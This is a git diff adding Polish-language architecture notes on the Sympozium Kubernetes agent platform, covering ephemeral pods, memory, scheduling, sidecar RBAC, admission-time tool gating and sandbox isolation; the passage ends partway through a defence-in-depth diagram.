**Resource limits** per invocation - każdy run ma własne CPU/memory limits +- **[[SecurityContext]]** per run - każdy pod ma hardened security context +- **[[NetworkPolicy]]** per run - deny-all egress, tylko IPC bridge ma sieć +- **[[RBAC]]** per run - credentials istnieją tylko przez czas trwania runu + +### Skalowanie (zalety) +- **Horizontal scaling** natywne - K8s scheduler rozkłada pody po nodach +- **No contention** - każdy run to osobny pod, brak współdzielenia procesora +- **Auto-cleanup** - Kubernetes garbage collection czyści po zakończeniu + +### Cold start (wady i mitygacja) +- **Problem:** Każdy run = nowy pod = scheduling + image pull + container start +- **Typowy czas:** 5-30 sekund +- **Mitygacja 1:** Warm Pools (SandboxWarmPool) - pre-provisioned sandboxes +- **Mitygacja 2:** ImagePullPolicy: IfNotPresent - obrazy cache'owane na nodach +- **Mitygacja 3:** Tryb Server - Deployment zamiast Job dla long-lived scenarios + +### Brak stanu (wady i mitygacja) +- **Problem:** Agent nie pamięta poprzednich konwersacji +- **Mitygacja 1:** Persistent Memory (SQLite + FTS5 na PVC) +- **Mitygacja 2:** Legacy Memory (ConfigMap MEMORY.md) +- **Mitygacja 3:** Session persistence (PostgreSQL) + +## Porównanie z persistent engine + +| Aspekt | Ephemeral (Sympozium) | Persistent (kagent, LangChain) | +|--------|----------------------|-------------------------------| +| Izolacja | [[Pod]]-level per run | Shared process | +| Cold start | 5-30s (mitygowany WarmPool) | ~0s (process already running) | +| State | External (memory, sessions) | In-process | +| Scaling | Horizontal native | Vertical only | +| Resource utilization | Pay-per-invocation | Always-on | +| Failure blast radius | Single pod | Entire engine | +| Audit trail | Pod logs, CRD status | Engine logs | +| RBAC | Ephemeral per-run | Standing ServiceAccount | + +## Kiedy model efemeryczny? + +Idealny dla: +- **Cluster operations** - kubectl, helm z izolacją +- **Scheduled tasks** - health checks, sweeps +- **Multi-tenant** - izolacja między tenantami +- **Security-sensitive** - untrusted agent code +- **Batch processing** - one-shot tasks + +Mniej idealny dla: +- **Real-time chat** - cold start jest widoczny (ale tryb Server to rozwiązuje) +- **State-heavy workflows** - wymagają persistent memory + +--- + +Powiązane: [[Cykl życia AgentRun]] | [[Agent Sandbox - gVisor i Kata]] | [[Sympozium vs kagent]] diff --git a/04-Zarządzanie-Agentami/Persistent Memory.md b/04-Zarządzanie-Agentami/Persistent Memory.md new file mode 100644 index 0000000..3fb9647 --- /dev/null +++ b/04-Zarządzanie-Agentami/Persistent Memory.md @@ -0,0 +1,122 @@ +# Persistent Memory + +#sympozium #agenty #memory + +## Problem + +W modelu efemerycznym agent traci pamięć po zakończeniu runu. Sympozium rozwiązuje to dwoma mechanizmami. + +## Mechanizm 1: Legacy ConfigMap Memory + +Prostszy, starszy system: + +``` +Agent output zawiera markery: +__SYMPOZIUM_MEMORY__ +Key insight: Pod X has recurring OOM issues +__SYMPOZIUM_MEMORY_END__ + ↓ +Controller parsuje logi poda + ↓ +Patch ConfigMap: -memory + Data: + MEMORY.md: | + # Agent Memory + - Key insight: Pod X has recurring OOM issues + ↓ +Następny run montuje ConfigMap w /memory/MEMORY.md +``` + +### Ograniczenia +- Flat file (Markdown) +- Brak wyszukiwania semantycznego +- Max rozmiar: `maxSizeKB` (domyślnie 256KB) +- Brak tagowania/kategoryzacji + +## Mechanizm 2: SQLite + FTS5 Memory (SkillPack-based) + +Zaawansowany system z dedykowanym serwerem: + +``` +┌─────────────────────────────────────┐ +│ Memory Server (Deployment+Service) │ +│ │ +│ ┌──────────────────┐ │ +│ │ SQLite + FTS5 │ │ +│ │ na PVC (1Gi) │ │ +│ └──────────────────┘ │ +│ HTTP API: :8080 │ +│ /health - readiness/liveness │ +│ /memory/store - zapis │ +│ /memory/search - wyszukiwanie FTS │ +└──────────┬──────────────────────────┘ + │ +Agent Pod (z memory skill): + - memory_store → HTTP POST + - memory_search → HTTP GET +``` + +### Aktywacja +Dodanie skillu `memory` do SympoziumInstance: +```yaml +skills: + - skillPackRef: memory +``` + +### Co controller tworzy +1. **PVC**: `-memory-db` (1Gi) - persystencja SQLite DB +2. **Deployment**: `-memory` - memory-server z PVC +3. **Service**: `-memory` - ClusterIP na port 8080 + +### Zalety vs ConfigMap +- **Full-text search** (FTS5) - agent szuka w pamięci semantycznie +- **Tagging** - memories mogą być kategoryzowane +- **Skalowalne** - DB na PVC, nie ConfigMap (1MB limit) +- **Upgradeable** - można dodać vector search w przyszłości +- **API-driven** - agent używa HTTP API, nie plików + +## Memory w scheduled tasks + +```yaml +# SympoziumSchedule +spec: + includeMemory: true # Memory context wstrzyknięty do każdego runu +``` + +To enabler dla **uczących się agentów**: +``` +Run 1: Agent odkrywa problem → zapisuje do memory +Run 2: Agent czyta memory → kontynuuje od ostatniego stanu +Run 3: Agent widzi trend → eskaluje +``` + +## Memory seeds (PersonaPack) + +```yaml +personas: + - name: sre-watchdog + memory: + enabled: true + seeds: + - "Track repeated pod restarts for trend analysis" + - "Remember previous node capacity assessments" +``` + +Seeds to **początkowa pamięć** - instrukcje dla agenta co śledzić. + +## Architektura memory w podzie + +``` +Agent Pod: + ├── Init Container: wait-for-memory + │ └── curl http://-memory:8080/health + │ (czeka aż memory server jest ready) + ├── Agent Container: + │ ├── memory_search("previous issues") → HTTP GET + │ └── memory_store("New issue found: ...") → HTTP POST + └── (memory server jest ZEWNĘTRZNY - Deployment, nie sidecar) +``` + +--- + +Powiązane: [[Model efemerycznych agentów]] | [[Scheduled Tasks - heartbeaty i swepy]] | [[SympoziumInstance]] diff --git a/04-Zarządzanie-Agentami/PersonaPacks - zespoły agentów.md b/04-Zarządzanie-Agentami/PersonaPacks - zespoły agentów.md new file mode 100644 index 0000000..94aa6b2 --- /dev/null +++ b/04-Zarządzanie-Agentami/PersonaPacks - zespoły agentów.md @@ -0,0 +1,101 @@ +# PersonaPacks - zespoły agentów + +#sympozium #agenty #personapack #teams + +## Koncepcja + +PersonaPacks implementują wzorzec **"AI Team as Code"** - deklarujesz cały zespół agentów w jednym CRD, controller realizuje intent. + +## Od pojedynczego agenta do zespołu + +### Bez PersonaPacks (ręcznie): +``` +Per agent trzeba stworzyć: + 1. Secret (klucz API) + 2. SympoziumInstance (konfiguracja) + 3. SympoziumSchedule (harmonogram) + 4. ConfigMap memory (początkowa pamięć) + +Dla 7 agentów = 28 zasobów K8s ręcznie +``` + +### Z PersonaPacks: +``` +1. Wybierz pack w TUI +2. Podaj klucz API +3. Done - 28 zasobów stworzonych automatycznie +``` + +## Wzorzec "stamp out" + +PersonaPack controller działa jak **operator pattern**: + +``` +PersonaPack (desired state) + ↓ +PersonaPackReconciler: + for each persona in spec.personas: + if persona.name not in spec.excludePersonas: + ├── createOrUpdate SympoziumInstance + │ ├── Name: - + │ ├── Channels: z channelConfigs + │ ├── Skills: z persona.skills + │ ├── AuthRefs: z pack.authRefs + │ └── Policy: z pack.policyRef + ├── createOrUpdate SympoziumSchedule (jeśli persona.schedule) + │ ├── Cron: z interval → cron conversion + │ ├── Task: persona.schedule.task (z taskOverride prepend) + │ └── IncludeMemory: true + └── createOrUpdate ConfigMap memory (jeśli persona.memory) + └── Seeds: persona.memory.seeds +``` + +## Przykład: developer-team + +Pack `developer-team` tworzy **7 współpracujących agentów**: + +| Agent | Rola | Schedule | Skills | +|-------|------|----------|--------| +| Tech Lead | Planowanie, architektura | Co 1h | github-gitops | +| Backend Dev | Implementacja backend | Co 30m | github-gitops, k8s-ops | +| Frontend Dev | Implementacja frontend | Co 30m | github-gitops | +| QA Engineer | Testowanie | Co 45m | github-gitops | +| Code Reviewer | Code review | Co 20m | github-gitops | +| DevOps Engineer | CI/CD, infra | Co 1h | github-gitops, k8s-ops | +| Docs Writer | Dokumentacja | Co 2h | github-gitops | + +Wszystkie te agenty: +- Współdzielą repo (via skill params) +- Mają własną pamięć (memory seeds specyficzne per rola) +- Działają na harmonogramach (heartbeats) +- Mają osobne RBAC per run + +## Lifecycle zarządzania + +``` +Install pack → TUI wizard + ↓ +Activate (set authRefs) → Controller stampuje + ↓ +Running → Agenty działają wg scheduli + ↓ +Exclude persona → Controller usuwa zasoby tego agenta + ↓ +Delete pack → ownerReferences → K8s GC czyści WSZYSTKO +``` + +## Konfiguracja globalna vs per-persona + +| Ustawienie | Poziom pack | Poziom persona | +|------------|-------------|----------------| +| AuthRefs | Tak (wspólne) | Nie | +| Model | Tak (default) | Tak (override) | +| Skills | Nie | Tak | +| Channels | Tak (channelConfigs) | Tak (channels list) | +| Policy | Tak (policyRef) | Nie (dziedziczy) | +| Task Override | Tak (prepend do scheduli) | Nie | +| Agent Sandbox | Tak (dla wszystkich) | Nie | + +--- + +Powiązane: [[PersonaPack]] | [[SympoziumInstance]] | [[Scheduled Tasks - heartbeaty i swepy]] diff --git a/04-Zarządzanie-Agentami/Scheduled Tasks - heartbeaty i swepy.md b/04-Zarządzanie-Agentami/Scheduled Tasks - heartbeaty i swepy.md new file mode 100644 index 0000000..4a05768 --- /dev/null +++ b/04-Zarządzanie-Agentami/Scheduled Tasks - heartbeaty i swepy.md @@ -0,0 +1,105 @@ +# Scheduled Tasks - heartbeaty i swepy + +#sympozium #agenty #scheduling + +## Koncepcja + +Sympozium traktuje **agentów jak CronJob'y** - mogą być uruchamiane cyklicznie bez interwencji użytkownika. To enabler dla scenariuszy DevOps/SRE. + +## Typy scheduli + +| Typ | Cel | Typowy interwał | Przykład | +|-----|-----|-----------------|---------| +| **heartbeat** | Regularne sprawdzanie stanu | 5-30 min | "Sprawdź czy wszystkie pody są healthy" | +| **scheduled** | Zaplanowane zadania | 1-24h | "Poranny raport z kosztów klastra" | +| **sweep** | Przeglądy i cleanup | 1-7 dni | "Znajdź i zgłoś nieużywane PVC" | + +## Self-scheduling + +Wyjątkowa cecha: **agenty mogą same zarządzać swoimi schedulami**: + +``` +Agent dostaje task: "Monitor klaster" + ↓ +Agent decyduje: "Powinienem sprawdzać co 15 minut" + ↓ +Agent wywołuje tool: schedule_task( + action: "create", + schedule: "*/15 * * * *", + task: "Sprawdź stan podów w namespace production" +) + ↓ +/ipc/schedules/create.json → IPC Bridge → NATS: schedule.upsert + ↓ +Schedule Router → tworzy SympoziumSchedule CRD + ↓ +SympoziumSchedule Controller → tworzy AgentRun co 15 min +``` + +Agent może też: update, suspend, resume, delete swoje schedules. + +## Concurrency control + +```yaml +spec: + concurrencyPolicy: Forbid # Nie twórz nowego jeśli poprzedni działa +``` + +| Polityka | Zachowanie | Use case | +|----------|------------|----------| +| **Forbid** | Pomiń trigger jeśli run active | Health checks (nie chcemy pile-up) | +| **Allow** | Twórz nowy niezależnie | Niezależne analizy | +| **Replace** | Anuluj stary, twórz nowy | Real-time monitoring | + +## Memory context + +```yaml +spec: + includeMemory: true # Inject MEMORY.md do każdego runu +``` + +Dzięki temu scheduled run: +1. Czyta pamięć z poprzednich runów +2. Kontynuuje od miejsca gdzie skończył +3. Buduje kontekst między uruchomieniami + +Przykład: agent monitorujący w heartbeat co 30 min: +- Run 1: "Wykryłem 3 restarty poda X" +- Memory: "Pod X ma problem z restartami (3 do tej pory)" +- Run 2: "Pamięć mówi o restartach poda X. Sprawdzam - już 7 restartów. Eskalaruję." + +## Przykład z PersonaPack + +```yaml +personas: + - name: sre-watchdog + schedule: + type: heartbeat + interval: "5m" + task: | + Check cluster health: + - Pod restarts > 3 + - Node conditions + - PVC usage > 80% + Report and create issues for anomalies. + memory: + enabled: true + seeds: + - "Track repeated issues for trend analysis" + - "Escalate if same issue persists > 3 checks" +``` + +## Architektoniczne znaczenie + +Scheduled tasks transformują Sympozium z "narzędzia do chatowania z AI" w **autonomiczną platformę operacyjną**: + +- Agenty działają 24/7 bez ludzkiej interwencji +- Budują pamięć i kontekst +- Mogą eskalować do ludzi (via kanały) +- Mogą same modyfikować swoje harmonogramy + +To "sel-healing infrastructure" driven by AI. + +--- + +Powiązane: [[SympoziumSchedule]] | [[Persistent Memory]] | [[PersonaPacks - zespoły agentów]] diff --git a/04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md b/04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md new file mode 100644 index 0000000..4a08dd3 --- /dev/null +++ b/04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md @@ -0,0 +1,144 @@ +# Skill Sidecars i auto-RBAC + +#sympozium #agenty #skills #rbac #security + +## Koncepcja + +Skill Sidecars to **najważniejsza innowacja bezpieczeństwa** Sympozium. Zamiast dawać agentowi bezpośredni dostęp do kubectl/helm/git, narzędzia uruchamiane są w **oddzielnym kontenerze z własnym, efemerycznym RBAC**. + +## Dlaczego to ważne? + +### Problem: In-process tool execution +W frameworkach jak kagent/LangChain, narzędzia działają w tym samym procesie co agent: +``` +Agent (z credentials) → tool call → kubectl (z credentials agenta) +``` +Jeśli LLM zostanie "przekonany" do złośliwego tool call, ma pełne uprawnienia procesu. + +### Rozwiązanie: Sidecar isolation +``` +Agent (BEZ credentials) → /ipc/tools/*.json → IPC Bridge → NATS + → Skill Sidecar (z WŁASNYMI, scoped credentials) → kubectl +``` + +Agent **nigdy nie posiada** credentials do K8s API. Tylko sidecar je ma, i to z least-privilege RBAC. + +## Mechanizm + +### 1. Deklaracja RBAC w SkillPack + +```yaml +# SkillPack CRD +spec: + sidecar: + rbac: # Namespace-scoped + - apiGroups: ["", "apps"] + resources: ["pods", "deployments"] + verbs: ["get", "list", "watch"] + clusterRBAC: # Cluster-scoped + - apiGroups: [""] + resources: ["nodes"] + verbs: ["get", "list"] +``` + +### 2. Auto-provisioning przy starcie AgentRun + +``` +AgentRun Pending: + ↓ +Controller czyta SkillPack RBAC declarations + ↓ +Tworzy: + ├── ServiceAccount: sympozium-agent (w namespace runu) + ├── Role: agentrun-- + │ └── rules: [z SkillPack rbac] + ├── RoleBinding: agentrun-- + │ └── roleRef → Role, subject → ServiceAccount + ├── ClusterRole: agentrun-- + │ └── rules: [z SkillPack clusterRBAC] + └── ClusterRoleBinding: agentrun-- + └── roleRef → ClusterRole, subject → ServiceAccount +``` + +### 3. Garbage collection po zakończeniu + +``` +AgentRun Succeeded/Failed: + ↓ +Namespace RBAC: + └── Automatyczne via ownerReference → AgentRun + (K8s GC czyści gdy AgentRun usunięty) + ↓ +Cluster RBAC: + └── Controller szuka po labelach: + sympozium.ai/agentrun: + → Delete ClusterRole + → Delete ClusterRoleBinding +``` + +## Lifecycle RBAC + +``` +AgentRun created + ↓ +[RBAC created] ← credentials istnieją + ↓ +Agent pod running - sidecar używa credentials + ↓ +AgentRun completed + ↓ +[RBAC deleted] ← credentials nie istnieją +``` + +**Czas życia credentials = czas życia AgentRun** - to odpowiednik temporary IAM session credentials w AWS. + +## Secret mirroring + +Jeśli SkillPack referencjonuje Secret (np. GH_TOKEN): +``` +Secret w sympozium-system → Kopia w namespace AgentRun + → Montowany w sidecarze pod /secrets// + → Usuwany po zakończeniu +``` + +## Parametryzacja + +Ten sam SkillPack może być konfigurowany inaczej per instancja: +```yaml +# Instance A +skills: + - skillPackRef: github-gitops + params: + REPO: team-a/repo-a + +# Instance B +skills: + - skillPackRef: github-gitops + params: + REPO: team-b/repo-b +``` + +Params → env vars `SKILL_REPO` w sidecarze. + +## Architektura bezpieczeństwa + +``` +┌─────────────────────────────────┐ +│ Agent Pod │ +│ │ +│ ┌──────────┐ ┌──────────────┐ │ +│ │ Agent │ │ Skill Sidecar│ │ +│ │ │ │ │ │ +│ │ BEZ K8s │ │ Z RBAC: │ │ +│ │ credentials│ │ - Role │ │ +│ │ │ │ - Binding │ │ +│ │ /ipc → │ │ - SA token │ │ +│ └──────────┘ └──────────────┘ │ +│ │ ↑ │ +│ └──── IPC ─────┘ │ +└─────────────────────────────────┘ +``` + +--- + +Powiązane: [[Efemeryczny RBAC per-run]] | [[SkillPack]] | [[Model bezpieczeństwa Defence-in-Depth]] diff --git a/04-Zarządzanie-Agentami/Sub-agenty i hierarchia.md b/04-Zarządzanie-Agentami/Sub-agenty i hierarchia.md new file mode 100644 index 0000000..9bf41bf --- /dev/null +++ b/04-Zarządzanie-Agentami/Sub-agenty i hierarchia.md @@ -0,0 +1,68 @@ +# Sub-agenty i hierarchia + +#sympozium #agenty #sub-agents + +## Koncepcja + +Sympozium wspiera **hierarchiczne spawning sub-agentów** - agent może tworzyć kolejne AgentRun CRs, które stają się jego "dziećmi". + +## Konfiguracja + +```yaml +# W SympoziumInstance +spec: + agents: + default: + subagents: + maxDepth: 2 # Max zagnieżdżenie (parent → child → grandchild) + maxConcurrent: 5 # Max równoległych agent runów w drzewie + maxChildrenPerAgent: 3 # Max dzieci per agent +``` + +## Mechanizm + +``` +Parent AgentRun + ├── spec.parent: null + ├── Tworzy child AgentRun: + │ spec: + │ parent: + │ runName: parent-run + │ sessionKey: parent-session + │ spawnDepth: 1 + │ ↓ + │ └── Child AgentRun + │ ├── Tworzy grandchild: + │ │ spec.parent.spawnDepth: 2 + │ │ ↓ + │ │ └── Grandchild AgentRun + │ │ └── maxDepth=2 → NIE może tworzyć dalej + │ └── Child może mieć max 3 siblings (maxChildrenPerAgent) + └── Parent czeka na wyniki children +``` + +## Policy enforcement + +`SubagentPolicySpec` w [[SympoziumPolicy]] enforcuje limity: +- `maxDepth: 3` - admission webhook odrzuca AgentRun z spawnDepth > 3 +- `maxConcurrent: 5` - controller sprawdza ile runów jest aktywnych + +## Use case + +Sub-agenty umożliwiają **divide-and-conquer** workflows: +``` +"Zoptymalizuj klaster" (parent) + ├── "Sprawdź zużycie CPU per namespace" (child 1) + ├── "Sprawdź zużycie pamięci per namespace" (child 2) + └── "Sprawdź nieużywane PVC" (child 3) +``` + +Każdy child to osobny Job z własnym RBAC, izolacją i lifecycle. + +## Śledzenie + +Env var `SPAWN_DEPTH` mówi agentowi na jakiej głębokości jest. Agent może podejmować decyzje na tej podstawie (np. nie tworzyć sub-agentów jeśli jest już głęboko). + +--- + +Powiązane: [[AgentRun]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]] diff --git a/04-Zarządzanie-Agentami/Tryb Server vs Task.md b/04-Zarządzanie-Agentami/Tryb Server vs Task.md new file mode 100644 index 0000000..b083304 --- /dev/null +++ b/04-Zarządzanie-Agentami/Tryb Server vs Task.md @@ -0,0 +1,83 @@ +# Tryb Server vs Task + +#sympozium #agenty #server-mode + +## Dwa tryby wykonania + +### Task mode (default) +- Kubernetes **Job** - run-to-completion +- Pod istnieje tylko przez czas wykonania +- Garbage collection po zakończeniu +- Dla: one-shot tasks, scheduled runs, channel messages + +### Server mode +- Kubernetes **Deployment + Service** +- Pod żyje długo +- Nie jest usuwany po "zakończeniu" +- Dla: web endpoints, long-running services + +## Kiedy server mode? + +Server mode aktywowany gdy: +1. `AgentRun.spec.mode = "server"` (jawnie ustawione) +2. SkillPack ma `sidecar.requiresServer = true` + +Typowy use case: **web-endpoint** skill, który eksponuje agenta jako HTTP API. + +## Architektura server mode + +``` +SympoziumInstance z skill "web-endpoint" + ↓ +Instance Reconciler → tworzy AgentRun (mode: server) + ↓ +AgentRun Reconciler → reconcilePendingServer(): + 1. Deployment (zamiast Job) + 2. Service (ClusterIP) + 3. HTTPRoute (Envoy Gateway, jeśli dostępny) + 4. Auto-generated API key (Secret) + ↓ +Web Proxy Sidecar: + - /v1/chat/completions (OpenAI-compat) + - /sse, /message (MCP protocol) + - Rate limiting + - Auth via API key +``` + +## Przepływ request'u w server mode + +``` +HTTP Client → Gateway → HTTPRoute → Service → Web Proxy Pod + ↓ +Web Proxy tworzy per-request AgentRun (mode: task!) + ↓ +Normalny flow: Job → Agent → wynik → Web Proxy → HTTP Response +``` + +Kluczowe: web proxy sidecar sam działa w server mode, ale **każdy request to osobny task-mode AgentRun** - zachowujemy ephemeral model dla izolacji. + +## Reconciliation server mode + +`reconcileServing()` (zamiast reconcileRunning): +- Sprawdza Deployment health +- Sprawdza Service health +- Reconciliuje HTTPRoute +- Requeue co 30 sekund + +`reconcileDelete()` dla server mode: +- Delete Deployment +- Delete Service +- Delete HTTPRoute +- Delete API key Secret + +## Faza Serving + +``` +AgentRun phases: + Pending → Serving (nie Running!) + Serving (długo) → Succeeded (gdy usunięty) +``` + +--- + +Powiązane: [[Web Endpoints - OpenAI-compat API]] | [[Cykl życia AgentRun]] | [[Model efemerycznych agentów]] diff --git a/05-Bezpieczeństwo/Admission Webhooks i polityki.md b/05-Bezpieczeństwo/Admission Webhooks i polityki.md new file mode 100644 index 0000000..1b6a247 --- /dev/null +++ b/05-Bezpieczeństwo/Admission Webhooks i polityki.md @@ -0,0 +1,69 @@ +# Admission Webhooks i polityki + +#sympozium #security #admission #webhook + +## Koncepcja + +Polityki Sympozium są enforcowane **at admission time** - przed utworzeniem poda, nie at runtime. To gwarantuje że żaden AgentRun nie ominie polityki. + +## Przepływ + +``` +kubectl apply -f agentrun.yaml + ↓ +K8s API Server → Admission Webhook + ↓ +Webhook: + 1. Odczytuje policyRef z SympoziumInstance + 2. Ładuje SympoziumPolicy + 3. Sprawdza: + ├── Sandbox requirements (required? image? resources?) + ├── Agent Sandbox requirements (runtime class allowed?) + ├── Tool gating (allow/deny/ask per tool) + ├── Feature gates (memory? web-endpoint? channels?) + ├── Subagent limits (maxDepth? maxConcurrent?) + └── Network policy rules + 4. ALLOW → AgentRun created + DENY → AgentRun rejected z clear error message +``` + +## Kluczowe różnice vs runtime enforcement + +| Aspekt | Admission-time | Runtime | +|--------|---------------|---------| +| Timing | Przed tworzeniem zasobu | Po uruchomieniu | +| Obejście | Niemożliwe (K8s API layer) | Możliwe (process-level) | +| Feedback | Natychmiast (synchroniczny) | Opóźniony (async) | +| Overhead | Tylko przy tworzeniu | Ciągły monitoring | + +## Tool Gating + +```yaml +toolGating: + defaultAction: deny + rules: + - tool: read_file + action: allow + - tool: execute_command + action: deny + - tool: write_file + action: ask # Human-in-the-loop +``` + +Trzy akcje: +- `allow` - tool dozwolony +- `deny` - tool zablokowany (webhook reject) +- `ask` - wymaga human approval (future feature) + +## Presetowe polityki + +``` +config/policies/ + ├── permissive.yaml # Dev/demo: all allowed + ├── default.yaml # General: execute_command requires approval + └── restrictive.yaml # Production: deny-by-default, whitelist +``` + +--- + +Powiązane: [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[Efemeryczny RBAC per-run]] diff --git a/05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md b/05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md new file mode 100644 index 0000000..b24f154 --- /dev/null +++ b/05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md @@ -0,0 +1,108 @@ +# Agent Sandbox - gVisor i Kata + +#sympozium #security #sandbox #gvisor #kata + +## Koncepcja + +Agent Sandbox to **opcjonalna warstwa izolacji na poziomie kernela** integrująca `kubernetes-sigs/agent-sandbox`. Zamiast tworzenia [[Job]], [[Controller i Reconciler|controller]] tworzy Sandbox CR (patrz [[CRD - Custom Resource Definition|CRD]]). + +## Porównanie + +| Cecha | Default (Job) | Agent Sandbox | +|-------|---------------|---------------| +| Izolacja | Container (cgroups, namespaces) | Kernel-level | +| [[gVisor]] | Nie | Tak - user-space kernel | +| [[Kata Containers\|Kata]] | Nie | Tak - lightweight VM | +| Cold start | 5-30s | Warm pools: ~1s | +| Lifecycle | Run-to-completion | Suspend/resume | +| Identity | Ephemeral pod name | Stable hostname | +| Overhead | Niski | gVisor ~5-10%, Kata ~VM | + +## Architektura + +``` +AgentRun (agentSandbox.enabled: true) + │ + ├── Normalny flow: Controller → Sandbox CR + │ └── spec.podTemplate = ten sam co Job + │ └── spec.runtimeClassName: gvisor/kata + │ └── ownerReference → AgentRun + │ + └── Z warm pool: Controller → SandboxClaim + └── Claims pre-warmed sandbox z SandboxWarmPool +``` + +## Warm Pools + +Eliminują cold start: + +``` +Bez warm pool: + AgentRun → Sandbox CR → Pod scheduled → Image pulled → Ready + (~5-30 sekund) + +Z warm pool: + AgentRun → SandboxClaim → Pre-warmed sandbox → Ready + (~1 sekunda) +``` + +### Konfiguracja +```yaml +# SympoziumInstance +spec: + agents: + default: + agentSandbox: + enabled: true + warmPool: + size: 3 # 3 pre-warmed sandboxes + runtimeClass: gvisor +``` + +Controller automatycznie tworzy SandboxWarmPool CR. + +## Policy enforcement + +```yaml +# SympoziumPolicy +spec: + sandboxPolicy: + agentSandboxPolicy: + required: true # WYMUSZAJ agent-sandbox + defaultRuntimeClass: gvisor + allowedRuntimeClasses: [gvisor, kata] # Whitelist runtimes +``` + +## Komplementarność z innymi warstwami + +Agent Sandbox **uzupełnia** istniejące zabezpieczenia: + +| Warstwa | Aktywna z Agent Sandbox? | +|---------|--------------------------| +| NetworkPolicy deny-all | Tak | +| Pod SecurityContext | Tak | +| SympoziumPolicy webhook | Tak | +| Ephemeral skill RBAC | Tak | +| Seccomp profile | Tak | +| **+ Kernel isolation** | **NOWE** | + +## Graceful degradation + +| Scenariusz | Zachowanie | +|------------|------------| +| Disabled w Helm | Zero code paths, zero overhead | +| Enabled, CRDs not installed | Warning log, feature disabled | +| Enabled, CRDs installed, no gVisor | Sandbox CRs work, no kernel isolation | +| Fully configured | Full kernel-level isolation | + +## Mutual exclusivity + +Dwa koncepty "sandbox": +- `sandbox.enabled` → sidecar container (stary) +- `agentSandbox.enabled` → Sandbox CR (nowy, kernel-level) + +Nie mogą być oba włączone - webhook to enforcuje. + +--- + +Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]] diff --git a/05-Bezpieczeństwo/Efemeryczny RBAC per-run.md b/05-Bezpieczeństwo/Efemeryczny RBAC per-run.md new file mode 100644 index 0000000..ec92ba1 --- /dev/null +++ b/05-Bezpieczeństwo/Efemeryczny RBAC per-run.md @@ -0,0 +1,77 @@ +# Efemeryczny RBAC per-run + +#sympozium #security #rbac + +## Koncepcja + +Odpowiednik **temporary IAM session credentials** w Kubernetes (patrz [[RBAC]] dla wyjaśnienia systemu). Credentials istnieją TYLKO przez czas trwania AgentRun. + +## Lifecycle + +``` +AgentRun CREATED + ↓ +Controller tworzy: + ├── Role (namespace-scoped) + │ ├── ownerRef → AgentRun + │ └── rules: [z SkillPack.sidecar.rbac] + ├── RoleBinding + │ ├── ownerRef → AgentRun + │ └── subject → ServiceAccount "sympozium-agent" + ├── ClusterRole (cluster-scoped) + │ ├── labels: sympozium.ai/agentrun: + │ └── rules: [z SkillPack.sidecar.clusterRBAC] + └── ClusterRoleBinding + ├── labels: sympozium.ai/agentrun: + └── subject → ServiceAccount "sympozium-agent" + ↓ +[CREDENTIALS ACTIVE - sidecar can use them] + ↓ +AgentRun COMPLETED + ↓ +Controller czyści: + ├── Namespace RBAC → auto via ownerReference (K8s GC) + └── Cluster RBAC → manual via label selector (controller) + ↓ +[CREDENTIALS DELETED - no standing access] +``` + +## Dlaczego nie standing role? + +### Problem standing god-role: +``` +ServiceAccount z cluster-admin → ZAWSZE ma pełne uprawnienia + → Compromised pod = pełny dostęp do klastra + → Brak auditu "kto kiedy co robił" +``` + +### Ephemeral RBAC: +``` +Run #1: Role [get pods] → exists for 30s → deleted +Run #2: Role [get deployments] → exists for 45s → deleted + → Credentials istnieją minimum possible time + → Każdy run ma TYLKO te uprawnienia które potrzebuje + → Pełny audit trail (RBAC resources w etcd) +``` + +## Controller privilege + +Controller sam potrzebuje `cluster-admin` bo: +- Tworzy dowolne Role/ClusterRole (definiowane w SkillPacks) +- K8s RBAC escalation prevention wymaga tego +- To jedyny komponent z takimi uprawnieniami + +## Namespace vs Cluster scope + +| Typ | Mechanizm cleanup | Scope | +|-----|-------------------|-------| +| Role + RoleBinding | ownerReference → AgentRun | Namespace | +| ClusterRole + ClusterRoleBinding | Label selector → controller cleanup | Cluster | + +[[Namespace]]-scoped RBAC jest automatycznie garbage-collected przez K8s gdy AgentRun jest usunięty ([[ownerReference|ownerRef]] chain). + +Cluster RBAC nie może mieć cross-namespace ownerRef (ograniczenie K8s - patrz [[ownerReference]]), więc [[Controller i Reconciler|controller]] czyści ręcznie po labelach. + +--- + +Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[SkillPack]] diff --git a/05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md b/05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md new file mode 100644 index 0000000..a578678 --- /dev/null +++ b/05-Bezpieczeństwo/Model bezpieczeństwa Defence-in-Depth.md @@ -0,0 +1,112 @@ +# Model bezpieczeństwa Defence-in-Depth + +#sympozium #security #defence-in-depth + +## Filozofia + +Sympozium implementuje **defence-in-depth** - wiele niezależnych warstw bezpieczeństwa, gdzie przełamanie jednej nie daje dostępu do systemu. + +## Warstwy bezpieczeństwa + +``` +┌───────────────────────────────────────────────┐ +│ Warstwa 7: Agent Sandbox (gVisor/Kata) │ ← Izolacja kernela +│ ┌───────────────────────────────────────────┐│ +│ │ Warstwa 6: NetworkPolicy (deny-all) ││ ← Izolacja sieciowa +│ │ ┌───────────────────────────────────────┐││ +│ │ │ Warstwa 5: Admission Webhook │││ ← Walidacja przed tworzeniem +│ │ │ ┌───────────────────────────────────┐│││ +│ │ │ │ Warstwa 4: Ephemeral RBAC ││││ ← Efemeryczne credentials +│ │ │ │ ┌───────────────────────────────┐││││ +│ │ │ │ │ Warstwa 3: Pod SecurityContext │││││ ← Hardened container +│ │ │ │ │ ┌───────────────────────────┐│││││ +│ │ │ │ │ │ Warstwa 2: Sidecar isol. ││││││ ← Separacja credentials +│ │ │ │ │ │ ┌───────────────────────┐│││││││ +│ │ │ │ │ │ │ Warstwa 1: Ephemeral ││││││││ ← Krótki czas życia +│ │ │ │ │ │ │ pod lifecycle ││││││││ +│ │ │ │ │ │ └───────────────────────┘│││││││ +│ │ │ │ │ └───────────────────────────┘││││││ +│ │ │ │ 